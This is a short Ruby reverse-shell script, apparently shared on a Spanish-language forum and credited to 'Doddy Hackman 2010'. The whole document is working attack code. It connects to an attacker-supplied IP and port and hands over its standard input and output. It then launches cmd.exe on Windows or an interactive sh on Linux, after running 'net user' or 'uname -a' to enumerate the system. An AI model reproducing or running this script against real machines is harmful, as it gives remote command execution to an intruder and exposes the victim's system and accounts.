Código
#!usr/bin/ruby #Back Shell (C) Doddy HAckman 2010 #Creditos : protos por darle vida a un lenguaje casi olvidado en este mundo require 'socket' ip = ARGV[0] port = ARGV[1] def uso print "\n[+] bind.rb <ip> <port>\n" end def head print "\n\n-- == ReverseShell By Doddy H == --\n\n" end def copyright print "\n\n(C) Doddy Hackman 2010\n\n" end def infowin system("net user") end def openwin() system("cmd.exe") end def infolin system("uname -a") end def openlin() system("export TERM=xterm;exec sh -i") end def now(ip,port) print "\n\n-- == ReverseShell By Doddy H == --\n\n" print "\n[+] Ok , enter to the system\n\n" begin backdoor = TCPSocket.new(ip,port) $stdout.reopen(backdoor) $stdin.reopen(backdoor) rescue print "\n[-] Un puto error !!\n\n" exit(1) end if RUBY_PLATFORM =~/win/ infowin() openwin() else infolin() openlin() end end if !ip and !port uso() else now(ip,port) end #The End ???